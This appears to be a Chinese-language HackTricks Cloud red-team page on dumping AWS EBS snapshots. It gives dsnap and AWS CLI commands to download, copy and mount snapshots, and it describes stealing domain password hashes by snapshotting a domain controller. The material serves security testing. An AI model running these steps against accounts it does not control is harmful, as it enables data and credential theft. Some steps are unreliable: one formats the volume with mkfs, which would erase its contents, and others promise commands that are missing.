AWS - EBS 快照转储
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
在本地检查快照
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
注意
dsnap不允许您下载公共快照。要绕过此限制,您可以在您的个人账户中复制快照,然后下载该快照:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
有关此技术的更多信息,请查看原始研究 https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
您可以使用 Pacu 的模块 ebs__download_snapshots 来执行此操作
在 AWS 中检查快照
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
在您控制下的 EC2 虚拟机中挂载它(它必须与备份的副本位于同一区域):
步骤 1:通过前往 EC2 –> Volumes 创建一个您喜欢大小和类型的新卷。
要执行此操作,请遵循以下命令:
- 创建一个 EBS 卷以附加到 EC2 实例。
- 确保 EBS 卷和实例位于同一区域。
步骤 2:通过右键单击创建的卷选择“附加卷”选项。
步骤 3:从实例文本框中选择实例。
要执行此操作,请使用以下命令:
- 附加 EBS 卷。
步骤 4:登录到 EC2 实例并使用命令 lsblk 列出可用磁盘。
步骤 5:使用命令 sudo file -s /dev/xvdf 检查卷是否有任何数据。
如果上述命令的输出显示 “/dev/xvdf: data”,则表示该卷为空。
步骤 6:使用命令 sudo mkfs -t ext4 /dev/xvdf 将卷格式化为 ext4 文件系统。或者,您也可以使用命令 sudo mkfs -t xfs /dev/xvdf 使用 xfs 格式。请注意,您应该使用 ext4 或 xfs 中的任意一种。
步骤 7:创建一个您选择的目录以挂载新的 ext4 卷。例如,您可以使用名称 “newvolume”。
要执行此操作,请使用命令 sudo mkdir /newvolume。
步骤 8:使用命令 sudo mount /dev/xvdf /newvolume/ 将卷挂载到 “newvolume” 目录。
步骤 9:切换到 “newvolume” 目录并检查磁盘空间以验证卷挂载。
要执行此操作,请使用以下命令:
- 切换到
/newvolume。 - 使用命令
df -h .检查磁盘空间。此命令的输出应显示 “newvolume” 目录中的可用空间。
您可以使用 Pacu 通过模块 ebs__explore_snapshots 来完成此操作。
在 AWS 中检查快照(使用 cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
任何拥有 EC2:CreateSnapshot 权限的 AWS 用户都可以通过创建 域控制器的快照,将其挂载到他们控制的实例上,并 导出 NTDS.dit 和 SYSTEM 注册表蜂巢文件,从而窃取所有域用户的哈希值,以供 Impacket 的 secretsdump 项目使用。
您可以使用此工具来自动化攻击:https://github.com/Static-Flow/CloudCopy,或者在创建快照后使用之前的技术之一。
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

